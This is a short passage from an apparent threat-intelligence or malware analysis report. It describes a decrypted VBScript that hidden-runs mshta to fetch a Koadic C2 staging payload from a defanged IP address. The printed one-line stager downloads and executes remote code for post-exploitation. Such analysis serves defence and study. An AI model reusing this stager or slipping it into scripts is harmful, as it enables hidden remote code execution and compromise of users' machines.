The embedded VBScript is retrieved from a resource and decrypted using the same algorithm as discussed above, which results in the following cleartext:       set objshell = createobject(\"wscript.shell\")objshell.run \"mshta hxxp://86.106.131.177:6500/zIZFh\",vbhide     The Koadic C2 server will respond to this request with Javascript code that acts as the Koadic staging payload, which allows the actor to run additional Koadic modules on the end system to carry out their post-exploitation activities